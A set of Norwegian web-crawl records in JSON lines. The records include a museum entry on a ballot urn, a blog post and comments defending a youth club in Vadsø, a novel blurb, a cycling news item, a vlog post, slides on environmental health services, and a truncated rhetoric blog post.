{"url": "https://digitaltmuseum.org/011025062870/balluteringsurne", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:25:28Z", "text": "# Balluteringsurne\n\nDen har tilh\u00f8rt Losje \"Audna\" (IOGT) startet p\u00e5 Vigeland 1932. De hadde m\u00f8ter hver 14. dag. Urnen blei sendt rundt blant medlemmene n\u00e5r det skulle velges inn nye medlemmer. Medlemmene fikk en hvit og en svart kule. Dersom alle kuler var hvite etter valget blir s\u00f8keren opptatt som medlem.\n\n", "language": "no", "__index_level_0__": "4c6624f7-9505-4475-b914-5687df0736c2"}
{"url": "http://www.martinebob.net/?p=6021", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00088.warc.gz", "warc_date": "2018-03-24T23:25:01Z", "text": "# \n## Tankespinn fra en engasjert sosialpedagog fra Finnmark\n\n\n\n# Ungdommens Hus\n\nPublisert 27. mai 2015  av  Martinebob\n\nJeg vil starte dette innlegget med en sann historie, en historie om Aleksey fra Vads\u00f8.\n\nHer er Aleksey\n\nAleksey er snart 18 \u00e5r, og g\u00e5r siste \u00e5ret p\u00e5 \"kokk- og servit\u00f8rfaget\" i Vard\u00f8, noe som betyr at han snart kan g\u00e5 ut i l\u00e6re, og etterhvert smykke seg med yrkestittelen\u00a0**kokk**. Han kom til Norge fra Russland som seks\u00e5ring sammen med en eldre bror og to foreldre. Aleksey er som ungdom flest med mange og varierte interesser, hvor musikk st\u00e5r spesielt sterkt. Han har blant annet komponert sangen \"\u00c6 vil ha brus\" som alle kulturinteresserte i Vads\u00f8 b\u00f8r ha h\u00f8rt\\!\n\nSom fersk ten\u00e5ring hadde Aleksey betydelige sosiale problemer og hang med de vi voksne ofte kaller \"feil folk\". Sammen med en gjeng eldre gutter i kategorien \u00abfeil folk\u00bb fant Aleksey p\u00e5 en hel del p\u00f8belstreker av ulik alvorlighetsgrad, og fikk etterhvert som tiden gikk mange negative reaksjoner fra sine omgivelser.\u00a0Han var en urolig elev, var mer i gangene i l\u00f8pet av en skoledag enn inne i timene, og p\u00e5 et tidspunkt ble ogs\u00e5 barnevernet koblet inn fordi han ikke oppf\u00f8rte seg slik vi i storsamfunnet \u00f8nsker at barn og ungdom skal oppf\u00f8re seg. Han sto i kritisk\u00a0fare for \u00e5 bli en av de som havner utenfor.\n\nP\u00e5 denne tiden var Aleksey tilfeldigvis s\u00e5 heldig \u00e5 f\u00e5 tildelt en plass ved\u00a0kulturskolen. Han begynte \u00e5 spille gitar, og etterhvert som musikkinteressen vokste fram fikk han venner med samme interesser. Ungdommens Hus var en naturlig m\u00f8teplass.\u00a0\u00abFeil folk\" ble byttet ut med \"riktige folk\", musikken var limet og plutselig var punkbandet\u00a0**Dysskleksii**\u00a0f\u00f8dt. Istedenfor \u00e5 b\u00f8lle rundt i gatene tilbragte Aleksey n\u00e5 kveldene p\u00e5 Ungdommens Hus sammen med venner og bandet som hadde faste \u00f8vingstider hver uke. Han ble\u00a0til og med aktivt medlem og etterhvert leder i Juvente \u2013 en ungdomsorganisasjon mot rusmidler.  \nI tillegg til jevngamle meningsfeller kunne Ungdommens Hus ogs\u00e5 by p\u00e5 voksne som har v\u00e6rt en del av statistikken selv, som forst\u00e5r hvor ungdommene kommer ifra, og tar seg tid til \u00e5 lytte og veilede med en st\u00f8dig og t\u00e5lmodig h\u00e5nd.\n\nAleksey er en av V\u00c5RE ungdommer, og ogs\u00e5 heldigvis bare \u00e9n av mange solskinnshistorier det er viktig \u00e5 l\u00f8fte fram. For han ble Ungdommes Hus en arena han fikk oppleve mestring og tilh\u00f8righet p\u00e5, der skolen med sine strenge rammer feilet ham.\n\n\u2014\u2014\u2013\n\n**Ungdata**  \nI 2013 ble en Ungdata-unders\u00f8kelse, finansiert av Helsedirektoratet, utf\u00f8rt\u00a0blant ungdomsskoleelever i Vads\u00f8. Tall fra denne unders\u00f8kelsen viser at s\u00e5 mye som 1 av 5 er ensom. 1 av 5 f\u00f8ler h\u00e5pl\u00f8shet med tanke p\u00e5 framtida. Over 30% av ungdommene v\u00e5re er plaget av tristhet, nedstemthet eller f\u00f8ler seg deprimert. 28% f\u00f8ler at alt er et slit.  \nDette er dystre tall, og noe vi i aller h\u00f8yeste grad er n\u00f8dt til \u00e5 ta p\u00e5 alvor. Ved \u00e5 fjerne sosiale tiltak rettet mot denne aldersgruppen tror jeg de fleste kan v\u00e6re enig i at vi har tatt et stort steg i helt feil retning.\n\nAv unders\u00f8kelsen kommer det ogs\u00e5 fram at over 40% av alle tiendeklassinger, eller 1 av 4 p\u00e5 tvers av alle klassetrinn p\u00e5 ungdomsskolen, benytter seg av Ungdommens Hus regelmessig. I tillegg kommer alle p\u00e5 videreg\u00e5ende som ikke har tatt del i denne unders\u00f8kelsen. Det er h\u00f8ye tall, men det er slett ikke overraskende.\u00a0Forskning viser nemlig at klubbledere har stor tillitt blant ungdom, og\u00a0at de ofte er det f\u00f8rste leddet \u00e5 ta kontakt med, nest etter familie, om de har et personlig problem. Og som tallene fra Ungdata-unders\u00f8kelsen viser, er det mange ungdom iblant oss som ikke har det bra.\n\n**S\u00e5rbare unge**  \nVi er alle ulike, og mange av ungdommene v\u00e5re finner ikke tilh\u00f8righet i idrettslag eller andre kulturtilbud, og s\u00f8ker derfor til Ungdommens Hus. Flere av disse ungdommene faller under betegnelsen\u00a0s\u00e5rbare unge. Dette er ungdom som i st\u00f8rre grad st\u00e5r i fare for \u00e5 utvikle problemer som omfatter rusmisbruk, arbeidsledighet, kriminalitet, ensomhet, psykiske og fysiske helseproblemer og samhandlingsproblemer i skolen. Disse ungdommene har et \u00f8kt behov for st\u00f8tte og hjelpetiltak.\u00a0***Ungdommens hus er et slikt\u00a0kollektivt\u00a0hjelpetiltak.\u00a0***  \nSelv om det i f\u00f8rste rekke er barn og ungdom og deres familier som m\u00e5 b\u00e6re konsekvensene, s\u00e5 vil skadelige forhold i l\u00f8pet av oppveksten ramme\u00a0hele\u00a0samfunnet. N\u00e5r unge mennesker blir marginalisert og havner p\u00e5 kanten, er det en reell fare for en rekke langvarige og invalidiserende konsekvenser. Rus, kriminalitet og psykososiale problemer er eksempler p\u00e5 det. Dette er mennesker vi som samfunn m\u00e5 ta vare p\u00e5 i etterkant.\n\n**Skolen \u2013 en arena for marginalisering**  \nI l\u00f8pet av de siste 30 \u00e5rene har begreper som \"drop-outs\" sakte men sikkert funnet sin vei inn i v\u00e5r dagligtale. Slike begreper er knyttet til utdanningssamfunnet og dets strenge krav for deltakelse. Der den urolige gutten i industrisamfunnet kunne f\u00e5 seg en jobb p\u00e5 gulvet, er gulvet borte i utdanningssamfunnet, og skoleproblemer blir lett til problemer med arbeid og etablering. Det er ikke lengre en enkel voksenrolle som venter i enden av en kort ungdomstid, bildet er mer komplekst enn som s\u00e5.\n\nDet er et faktum at utdanningssamfunnets institusjonelle rammeverk legger felles f\u00f8ringer for alle, samtidig som at ikke alle er utdelt like muligheter og posisjoner for \u00e5 passe inn i disse trange rammene. V\u00e5rt moderne samfunn krever ikke bare kompetanse innen et spesielt yrke, det kreves ogs\u00e5\u00a0velutviklet sosial og kommunikativ kompetanse og en evne til forst\u00e5else og refleksjon. For de som ikke finner sin plass i skolen og ikke kan h\u00f8ste godene av det sosiale samspillet der, vil Ungdommens Hus v\u00e6re en arena hvor disse ungdommene kan ha mulighet for \u00e5 f\u00e5 \u00f8kt denne livsviktige kompetansen. Sosialiseringsprosessen blir mer og mer som en kvalifiseringsprosess, og levek\u00e5r som svekker denne kvalifiseringsprosessen kan i \u00f8kende grad medf\u00f8re marginalisering.\n\nDet \u00e5 ha et sted \u00e5 g\u00e5 til som ikke representerer krav fra foreldre eller samfunnet generelt er for mange av v\u00e5re ungdommer alfa og omega for \u00e5 takle en krevende hverdag. Et sted der alle kan delta p\u00e5 lik linje, og det ikke forventes annet en normal folkeskikk.\n\n**Integrering**  \nFordi Vads\u00f8 Kommune har v\u00e6rt mottakskommune for enslige mindre\u00e5rige i en \u00e5rrekke, er Vads\u00f8 i dag en smeltedigel av ungdom med ulike nasjonaliteter. Disse ungdommene trenger ikke flere segregerende aktivitetstilbud som for eksempel egne bassengdager eller egen fotballtrening \u2013 de trenger\u00a0**inkluderende**\u00a0aktivitetstilbud der de har mulighet til \u00e5 v\u00e6re sammen med ungdom p\u00e5 sin egen alder. Ungdommens Hus st\u00e5r i dag som en bauta i dette integreringsarbeidet, og sv\u00e6rt mange av v\u00e5re mindre\u00e5rige flyktninger bruker dette stedet hyppig.\n\n**Rusbruk**  \nMens barndommen oppfattes som en harmonisk tid, er ten\u00e5ringstiden er en fase for uro, eksperimentering og utpr\u00f8ving. Det er en tid hvor de unge blir konfrontert med verden og p\u00e5 den m\u00e5ten utvikler sine holdninger, verdier og tenkem\u00e5ter. Som alle andre steder i verden er det i Vads\u00f8 ogs\u00e5 et milj\u00f8 for alternativ rus. De fleste ungdommer bruker ungdomstiden sin til normal eksperimentering, de fleste med lovlig rus, men noen ogs\u00e5 med illegale rusmidler. Ungdom med variert sosial- og kulturell kapital kan ha st\u00f8rre problemer enn andre med \u00e5 h\u00e5ndtere denne eksperimenteringsfasen. Ungdom holder gjerne det denne aktiviteten skjult fra voksenverdenen, og veien inn er vanskelig.  \nAnsatte p\u00e5 Ungdommens Hus har en unik innsikt i rusmilj\u00f8et i Vads\u00f8, og prater daglig med ungdom som eksperimenterer med b\u00e5de legal og illegal rus. P\u00e5 denne m\u00e5ten er de mange hestehoder foran politiet, og har en unik mulighet til \u00e5 p\u00e5virke disse ungdommene i tryggere retninger.\n\n**Vads\u00f8 er en stor\u00a0by i liten skala.**  \nUngdommene v\u00e5re trenger Ungdommens Hus og den trygghet og stabilitet i hverdagen det gir.\u00a0Det moderne samfunnet er av mange definert som et risikosamfunn, og det kan vanskelig forsvares \u00e5 fjerne et s\u00e5 viktig kollektivt sosialt tiltak til denne aldersgruppen.\n\nOm Ungdommens Hus er viktig for deg, del gjerne dette innlegget, og skriv ogs\u00e5 gjerne i kommentarfeltet hvorfor du syns det er viktig \u00e5 bevare klubben, og hva klubben har betydd for deg. Sign\u00e9r med fullt navn, s\u00e5 kan denne listen overleveres politikerne hvis det blir n\u00f8dvendig. Uansett er alle bidrag velkommen, og vil v\u00e6re med p\u00e5 \u00e5 tydeliggj\u00f8re behovet\\!\n\nTakk for oppmerksomheten.\n\nVennlig hilsen  \n**Martine Berg**  \nSosialpedagogisk r\u00e5dgiver og\u00a0engasjert ungdomsforkjemper.\n\nIllustrasjon: Arnhild Helene Hegge\n\nKilder:  \nFr\u00f8nes \u2013 Moderne barndom  \nBefring \u2013 S\u00e5rbare unge  \nUngdata-unders\u00f8kelsen 2013  \nEn stor takk til Aleksey for at jeg fikk dele hans historie\\!\n\n## 13 tanker om \"Ungdommens Hus\"\n\n1.  27. mai 2015, kl. 16:16 sa Lena A.Karlsen:\n    \n    La klubben leve\\! Fordi?det trenger man ikke lure p\u00e5 om man har lest blogginlegget\\!\n    \n2.  27. mai 2015, kl. 16:50 sa Simen:\n    \n    Siden jeg flyttet til vads\u00f8 i 2011, s\u00e5 har jeg alltids brukt \u00e5 v\u00e6re p\u00e5 Ungdommens hus- ogs\u00e5 kalt \u00abKlubben\u00bb det har alltids v\u00e6rt morsom, og man kan treffe venner \u00e5 ha det g\u00f8y. \\#Ikke\\#legg\\#ned\\#Klubben\n    \n3.  27. mai 2015, kl. 17:26 sa Daniel karisari:\n    \n    \u00c5 ta vekk det eneste ungommen har h\u00e6r i byen e jo bare tragisk\\!\n    \n    Man m\u00e5 jo tenke litt lengere frem i tid..\n    \n    Kommer ikke til \u00e5 v\u00e6re mange ungdom som blir igj\u00e6n i den h\u00e6r byen de nermeste \u00e5ran viss d alltid ska g\u00e5 utover dem..\n    \n4.  27. mai 2015, kl. 18:34 sa Svein H:\n    \n    For et bra innlegg du hadde her p\u00e5 bloggen din\\!\n    \n    Ungdommens Hus er av ungdom for ungdom. Takk til deg og alle dere som jobber p\u00e5 Ungdommens Hus og bidrar til at ungdom i Vads\u00f8 har et sted \u00e5 g\u00e5 til at de blir sett og h\u00f8rt og at det finnes slutt p\u00e5 histories som Aleksey sin, takket v\u00e6re dere.\n    \n    Vil ogs\u00e5 gi cred til Arnhild Hegge som har dekorert veggene p\u00e5 Ungdommens Hus med hennes fantastiske kunstverk. Frankenstein med tekoppen er en av de flotte motivene hun har malt med hjelp av elever p\u00e5 Vads\u00f8 Kulturskole.  \n    Hun har dessverre f\u00e5tt alt for liten cred for arbeidet hun har bidratt med. Det er et resultat av hvor uendelig positivt det er at barn og ungdom i Vads\u00f8 har tilbud retta mot dem, som gj\u00f8r hverdagen deres bedre og byen til et bedre sted \u00e5 v\u00e6re.\n    \n    Ungdommens Hus er et sted som gj\u00f8r at Vads\u00f8 ogs\u00e5 kan v\u00e6re en by for de unge som ellers ville hatt lite annet \u00e5 gj\u00f8re enn \u00e5 henge med \u00abfeil folk\u00bb. Det gj\u00f8r ogs\u00e5 at andre kanskje ser en fremtid i den lille byen, som ellers ville v\u00e6rt noks\u00e5 stusselig om ikke det var noe for dem der.\n    \n    Kanskje flere unge kommer tilbake til byen en gang, n\u00e5r de har v\u00e6rt ute og sett verden, men der Vads\u00f8 til syvende og sist er deres hjem\n    \n5.  27. mai 2015, kl. 18:52 sa Anja:\n    \n    godt engasjement. bra skrevet.\n    \n6.  27. mai 2015, kl. 19:24 sa Lars O. Haugen:\n    \n    Glimrende innlegg. Ta gjerne kontakt. Hilsen \u00abpolitiker\u00bb.\n    \n7.  27. mai 2015, kl. 22:26 sa Kristian:\n    \n    Ikke ta fra oss Ungdommens Hus\\! Vi har jo snart ikke noe igjen\\!\n    \n8.  27. mai 2015, kl. 22:33 sa Bro:\n    \n    Det kan ikke forsvares \u00e5 legge ned Ungdommens Hus og andre viktige stillinger og tjenester, samtidig som vi har b\u00e5de barneskole og ungdomsskole Jakobselv i tillegg til en flonkende ny en i Vads\u00f8 med plass til alle\\! Det e galskap, og at politikeran ikke tar tak i det e veldig synd.\n    \n9.  27. mai 2015, kl. 22:36 sa Marie:\n    \n    Gratulerer med dagen\\! :D Og s\u00e5 bra at du st\u00e5r p\u00e5 for Ungdommes Hus, vi trenger s\u00e5nne som d\u00e6\\!\n    \n10. 27. mai 2015, kl. 22:38 sa Martinebob:\n    \n    S\u00e5 utrolig godt \u00e5 se at folk engasjerer s\u00e6\\! :)\n    \n11. 27. mai 2015, kl. 22:54 sa Ingri Strand:\n    \n    St\u00f8tter Ungdommens hus og det flotte arbeidet dere gj\u00f8r der\\! Som l\u00e6rer ser jeg dessverre alt for mange fine ungdommer som ikke passer inn i v\u00e5re strenge rammer, men som blomstrer p\u00e5 andre arenaer \u2013 Ungdommens hus er absolutt n\u00f8dvendig for Vads\u00f8\\!\n    \n12. 28. mai 2015, kl. 00:18 sa Bj\u00f8rn Aarseth:\n    \n    Det \u00e5 legge ned ungdommens hus e helt bak m\u00e5l. Et alternativt tilbud til ungdom som ikke spiller fotball eller g\u00e5r p\u00e5 ski finns ikke. Uten den vil folk pr\u00f8ve andre ting. E man s\u00e5 flink at man holder s\u00e6 unna tr\u00f8bbel, s\u00e5 vil man uansett innse at Vads\u00f8 e et sted uten noen form for tilbud. Med det vil ungdom, som Vads\u00f8 kommune har uttalt at dem gjerne vil ha, forsvinne ved f\u00f8rste anledning, og ikke se s\u00e6 tilbake. Hadde aldri v\u00e6rt der \u00e6 e i dag uten klubben\\!  \n    Herlig innlegg, Martine\\!\n    \n13. 28. mai 2015, kl. 03:59 sa Mariann Skrede Parsons:\n    \n    Uff for en trist lesning. Jeg er helt enig i at aa legge ned ungdomsklubben er en lite heldig prioritering. Det er uendelig viktig for ungdom aa ha en arena aa samles paa og jeg kan stille meg enig bak hvert eneste argument i dette innlegget.\n    \n    Oensker politikerne et godt samfunn i Vadsoe, saa er preventative metoder bedre enn straff og \u00abretting\u00bb i ettertid. De som jobber paa ungdomsklubben er i en veldig spesiell posisjon hvor de kan naa ungdom paa deres mest saarbare og ved avgjoerende veiskiller.\n    \n    Politikere, behold undomsklubben. For ungdommens skyld, men ogsaa for samfunnet i sin helhet.\n    \n    Mariann Skrede Parsons\n    \n", "language": "no", "__index_level_0__": "d9f07f00-ff2d-4788-bf8a-c7514d9e2a99"}
{"url": "https://www.bestselgerklubben.no/_skjonnlitteratur/romaner/ildfuglen-hedda-h.-robertsen-9788210052804", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:49:33Z", "text": "| Forfatter:    | Hedda H. Robertsen |\n| Utgivelses\u00e5r: | 2012               |\n| Antall sider: | 134                |\n| Forlag:       | Tiden              |\n| Spr\u00e5k:        | Bokm\u00e5l             |\n| ISBN/EAN:     | 9788210052804      |\n##### Omtale Ildfuglen\n\n Fredag har Simone bursdag. Den pleide hun og Malene \u00e5 feire sammen. N\u00e5 st\u00e5r rommet hennes tomt i leiligheten Simone deler med Amalie.  \n  \nDenne helgen har Amalie en hemmelig avtale med seminarlederen sin p\u00e5 psykologi. Han er forlovet og venter barn. Simone p\u00e5 sin side bekymrer seg for mandagens audition. Hun skal danse Tsarevna iIldfuglen. Men hun f\u00e5r det ikke til. Hun fors\u00f8ker \u00e5 la v\u00e6re \u00e5 tenke p\u00e5 ulykken i fjor. Det var hun som kj\u00f8rte bilen.  \nDet blir en skjellsettende helg. P\u00e5 hver sin kant f\u00e5r Simone og Amalie kjenne hengivelsens pris. Den ene elsker inntil det selvutslettende, mens den andre s\u00f8ker renselse i et grenseoverskridene m\u00f8rke. For begge blir det en seksuell odyss\u00e9 det kan bli vanskelig \u00e5 vende tilbake fra.\n\n> Noe s\u00e5 sjeldent som en virkelig god erotisk roman.\n\n**Dagbladet**\n", "language": "no", "__index_level_0__": "410cd211-e13a-42c3-97a6-8fb1593dcbcb"}
{"url": "https://www.nrk.no/sorlandet/sykler-ikke-temporittet-i-vm-1.324839", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-25T00:27:51Z", "text": "Aud Refseth\n\nHushovds trener, Atle Kv\u00e5lsvoll, bekrefter at Hushovd ikke sykler temoporitt-distansen.\n\nThor Hushovd sliter med kroppen halvannen uke f\u00f8r\n\nsykkel-VM. Siden sommerens Tour de France har Hushovd hanglet.\n\nP\u00e5 fellesstarten i VM stiller Hushovd til start som hjelperytter for \u00e5 gj\u00f8re en jobb for Kurt Asle Arvesen.\n\nN\u00e5 legger Thor Hushovd i stedet opp treningen for \u00e5 v\u00e6re best mulig forberedt til Paris - Tours 10. oktober, et l\u00f8p som veldig ofte ender med massespurt, sier Kv\u00e5lsvoll.\n\n\")\n\nThor Hushovd i Tour de France (Foto Scanpix)\n\n  Publisert  21.09.2004, kl. 13.43    Oppdatert  21.09.2004, kl. 16.24 \n\n### Thor Hushovd\n\n\n\n## Hushovd-dr\u00f8m knust\n\n", "language": "no", "__index_level_0__": "1327d0f1-8178-4ff7-aad0-213343c10a05"}
{"url": "http://distant.blogg.no/1426421764_video_vlog_week_1.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:20:17Z", "text": "# video: vlog week 1\n\n**Hei dere\\!\u00a0**\n\n\u00a0\nJosh og jeg har nettopp ryddet hele huset, og n\u013a ser det nesten helt str\u0159kent ut her. I dag skal jeg bes\u0159ke familien min for \u013a feire bursdagen min (*som var p\u013a torsdag)*, sammen med dem.\u00a0\n\n\u00a0\nHer er videoen jeg har jobbet med denne uka, og det har faktisk v\u0107rt ganske vanskelig\\! Noen dager ble det mer filming enn andre *\\*kremt, fredag\\*,* men det gj\u0159r ikke noe, synes jeg. Dessverre m\u013atte jeg fjerne noen klipp, fordi det var noe problemer med imovie, men jeg h\u013aper dere liker den endelige filmen\\!\u00a0\n\n\u00a0\n*1080p for best kvalitet.*\n\n**Ha en fin dag, fine dere\\!\u00a0**\u2665\n\n  \n### 17 kommentarer\n\n **Postet av:** Siri Lise\n\nS\u013a utrolig fin blogg du har\\! Ha en fin s\u0159ndag videre;)\n\n **Postet av:** ingalill Mikalsen\n\n\u013a\u013a elsker slike videoer :D Kjempe bra video :)\n\n **Postet av:** Silje\n\nKjempekul video\\! Artig \u013a f\u013a er lite innblikk i uka til andre enn seg selv. Gleder meg til neste video :)\n\n **Postet av:** Madde K.K\n\nKjempe kul video, morsomt \u013a f\u013a et lite innblikk i hverdagen din :)  \n  \n\u0158nsker deg en herlig s\u0159ndag :)\n\n **Postet av:** Camilla Rennesund\n\u0139\u013a, for en fin video\\! Morsomt konsept\\! :)\n\n **Postet av:** Veronica Hanssen\n\n\u0139h, for en herlig video\\! :-)\n\n **Postet av:** Lotte Flat\u0159y\n\nElsker det nye designet ditt\\! Ha en super s\u0159ndags kveld :)\n\nBra video\\!\n\n **Postet av:** Silje Eriksen\n\nherlig video :-D\n\n **Postet av:** Josefine Holter\n\nKult konsept\\! Flink i engelsk og :)\n **Postet av:** Marte Pettersen\n\nFor en fin video, du er jo bare utrolig skj\u0159nn\\!\n\n **Postet av:** Rebecca S\u0107tre\n\n", "language": "no", "__index_level_0__": "5986f10d-30d3-4ca0-a50c-ad1dcefd9ea9"}
{"url": "http://slideplayer.no/slide/2783361/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00128.warc.gz", "warc_date": "2018-03-25T00:00:10Z", "text": "MIA \u2013 m\u00f8te, 19 september Arne Marius Fosse   \n\n 2  **Gjennomgang av MHV: Bakgrunn Utfordringer**  \nForslag til organisering og gjennomf\u00f8ring Dato   \n\n 3  St. meld. 16. Regjeringen vil nedsette et utvalg som skal foreta en bred gjennomgang av milj\u00f8rettet helsevern. Det er behov for en bred og grundig vurdering av milj\u00f8rettet helsevern. En slik gjennomgang b\u00f8r omfatte bl.a. lovgrunnlag, faglig innhold, kompetanse og forvaltning.   \n\n 6  Bakgrunn Vi vet at milj\u00f8rettet helseverntjenesten svikter i mange kommuner. Tilsyn viser at: det i mange kommuner er ansvaret uklart plassert det er en klar sammenheng mellom manglende system for godkjenning og tilsyn (av skoler og barnehager) og manglende ansvarsplassering det er manglende system for \u00e5 h\u00e5ndtere risiko Kartlegging viser at: det er stor variasjon mellom kommuner i hvilke grad de har en MVH tjeneste. Store kommuner og kommuner p\u00e5 \u00d8stlandet er best dekket.  og manglende ansvarsplassering. det er manglende system for \u00e5 h\u00e5ndtere risiko. Kartlegging viser at: det er stor variasjon mellom kommuner i hvilke grad de har en MVH tjeneste. Store kommuner og kommuner p\u00e5 \u00d8stlandet er best dekket.\")  \n\n 7  Utfordringer Mest hensiktsmessig forvaltningsniv\u00e5, jf. stateliggj\u00f8ring av tilsynet med enkelte risikofaktorer/virksomheter Ressursbruk (omfang og prioriteringer) Metodebruk Forsvarlig forvaltning i alle kommuner Kunnskapsst\u00f8tte til kommunene (nasjonalt og regionalt). Forholdet til: smittevernet annet folkehelsearbeide (ern\u00e6ring etc.) andre forvaltningsomr\u00e5der som milj\u00f8vernet og matforvaltningen. Andre utfordringer?  Metodebruk. Forsvarlig forvaltning i alle kommuner. Kunnskapsst\u00f8tte til kommunene (nasjonalt og regionalt). Forholdet til: smittevernet. annet folkehelsearbeide (ern\u00e6ring etc.) andre forvaltningsomr\u00e5der som milj\u00f8vernet og matforvaltningen. Andre utfordringer\")  \n\n 8  **Organisering av arbeidet**  \nMilj\u00f8forhold betydning for helse og fordelingen av denne. De ulike milj\u00f8faktorenes relative betydning for helse (DALY og tapte leve\u00e5r) Hva er forebyggingspotensialet Hvordan prioriterer i dag kommunene (og andre?) i forhold til de ulike risikofaktorene. Er det samsvar mellom risiko og ressursinnsats?  Hva er forebyggingspotensialet. Hvordan prioriterer i dag kommunene (og andre ) i forhold til de ulike risikofaktorene. Er det samsvar mellom risiko og ressursinnsats\")  \n\n 10  **Evaluering av MHV forskriften**  \nAktivitetsniv\u00e5 og ressursbruk: antall godkjenninger, tilsyn, l\u00f8pende saksbehandling, \u00e5rsverk etc. i forhold til innbyggertall. Prioriteringer: har kommunene gjort en risikovurdering/kartlegging av milj\u00f8forhold med betydning for helsen, hvilke omr\u00e5der er det som den enkelte kommuner arbeider med (for eksempel skoler og barnehager) og hva gj\u00f8r de ikke (for eksempel tatoveringssalonger). I hvilke grad omfattes ogs\u00e5 sosiale milj\u00f8forhold. Organisering: er myndighet innen MHV delegert og i tilfelle til hvem, hvem er det som praktisk utf\u00f8rer oppgaven (og hvilke kompetanse har disse), foreligger det en arbeidsbeskrivelse etc.  og hva gj\u00f8r de ikke (for eksempel tatoveringssalonger). I hvilke grad omfattes ogs\u00e5 sosiale milj\u00f8forhold. Organisering: er myndighet innen MHV delegert og i tilfelle til hvem, hvem er det som praktisk utf\u00f8rer oppgaven (og hvilke kompetanse har disse), foreligger det en arbeidsbeskrivelse etc.\")  \n\n 11  **Sosiale milj\u00f8forhold Hva sosiale milj\u00f8forhold omfatter**  \nHvilke betydning har disse faktorene Hvordan kan dette reguleres God praksis/metoder/virkemidler Kompetansebehov (lokalt, regionalt, nasjonalt) Nasjonal og regionale st\u00f8ttefunksjoner  Nasjonal og regionale st\u00f8ttefunksjoner.\")  \n\nRisiko Sannsynlighetsgradering:1 = Lite sannsynlig (kan inntreffe mindre enn \u00e9n gang hvert 100. \u00e5r) 2 = Mindre sannsynlig (kan inntreffe mellom \u00e9n gang.\n\n", "language": "no", "__index_level_0__": "7472c46d-4cb1-4ae5-b6ae-250b0a5e5082"}
{"url": "https://voxpublica.no/2012/10/det-visuelle-konvent-2/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00128.warc.gz", "warc_date": "2018-03-24T23:39:29Z", "text": "\nJens E. Kjeldsen er utdannet ved Institut for retorik ved K\u00f8benhavns Universitet. Han er professor i retorikk og visuell kommunikasjon ved Institutt for informasjons- og medievitenskap (UiB). \n\nI mitt senes\u00adte blog-inn\u00adlegg beskrev jeg hvor\u00addan Demo\u00adkra\u00adte\u00adne for\u00ads\u00f8k\u00adte \u00e5\u00a0gj\u00f8\u00adre det ver\u00adbalt domi\u00adner\u00adte kon\u00adven\u00adtet mer visu\u00adelt og leven\u00adde ved \u00e5\u00a0vise video\u00ader av tema\u00ader og av tale\u00adre f\u00f8r de entret sce\u00adnen i\u00a0den sto\u00adre kon\u00adventsa\u00adlen. I\u00a0l\u00f8pet av de fire dager kon\u00adven\u00adtet var\u00adte vis\u00adte Demo\u00adkra\u00adte\u00adne en rek\u00adke fil\u00admer, som ikke bare intro\u00addu\u00adser\u00adte sen\u00adtra\u00adle folk som Joe Biden, Michel\u00adle Oba\u00adma og pre\u00adsi\u00addent Barack Oba\u00adma. Vi fikk ogs\u00e5 se video\u00ader og h\u00f8re taler av (til\u00adsyne\u00adla\u00adten\u00adde) helt van\u00adli\u00adge folk, som for eksem\u00adpel Cin\u00addy Hewitt, som job\u00adbet p\u00e5 medi\u00adsin\u00adsel\u00adska\u00adpet Dage Behring, inn\u00adtil Mitt Rom\u00adneys sel\u00adskap, Bain Capi\u00adtal, kj\u00f8p\u00adte arbeids\u00adplas\u00adsen hen\u00adnes og angi\u00adve\u00adlig kj\u00f8r\u00adte den ban\u00adke\u00adrott for \u00e5\u00a0tje\u00adne pen\u00adger til inves\u00adto\u00adre\u00adne.\n\nhttp://www.youtube.com/watch?v=8ARfHd-bcnY\n\nDet demo\u00adkra\u00adtis\u00adke kon\u00advent var fylt med video\u00ader og taler av sli\u00adke karak\u00adter\u00advit\u00adner, som opp\u00adtrer som seg selv, mer enn som advo\u00adka\u00adter for Oba\u00admas sak. Det bes\u00adte eksemp\u00adlet var kan\u00adskje Bill Butch\u00ader som star\u00adtet sitt eget bryg\u00adge\u00adri, Port City Brewing. En video for\u00adtel\u00adler his\u00adto\u00adri\u00aden om hvor\u00addan Bill lyk\u00adkes som \u00absmall busi\u00adness owner\u00bb for\u00addi han had\u00adde en god ide, job\u00adbet hardt og \u2013 som and\u00adre eiere av sm\u00e5 bedrif\u00adter \u2013 kun\u00adne dra for\u00addel av \u00abSmall busi\u00adness act\u00bb, som Oba\u00adma-admi\u00adni\u00adstra\u00adsjo\u00adnen har gjen\u00adnom\u00adf\u00f8rt. Video\u00aden gav en god, leven\u00adde his\u00adto\u00adrie om hvor\u00addan sm\u00e5 bedrif\u00adter lyk\u00adkes under Oba\u00adma, men den reto\u00adris\u00adke kraf\u00adten i\u00a0Bills his\u00adto\u00adrie kom\u00admer enda tyde\u00adli\u00adge\u00adre frem i\u00a0de f\u00f8rs\u00adte orde\u00adne i\u00a0hans kor\u00adte tale p\u00e5 kon\u00adven\u00adtet:\n\n> Vet du, jeg har ikke tid til \u00e5\u00a0f\u00f8l\u00adge s\u00e5 mye med p\u00e5 poli\u00adtikk, for jeg er alt for opp\u00adtatt med \u00e5\u00a0dri\u00adve mitt fore\u00adtak. Jeg tror at man\u00adge sm\u00e5 bedrifts\u00adei\u00adere har det p\u00e5 sam\u00adme m\u00e5ten. Vi bryr oss ikke om valg\u00adkam\u00adpens dag\u00adli\u00adge frem og til\u00adba\u00adke. Vi vil bare ha lede\u00adre i\u00a0Wash\u00ading\u00adton som tror p\u00e5 oss og gj\u00f8r det litt enk\u00adle\u00adre for oss \u00e5\u00a0lyk\u00adkes. V\u00e5r pre\u00adsi\u00addent er en slik leder\n\nIkke 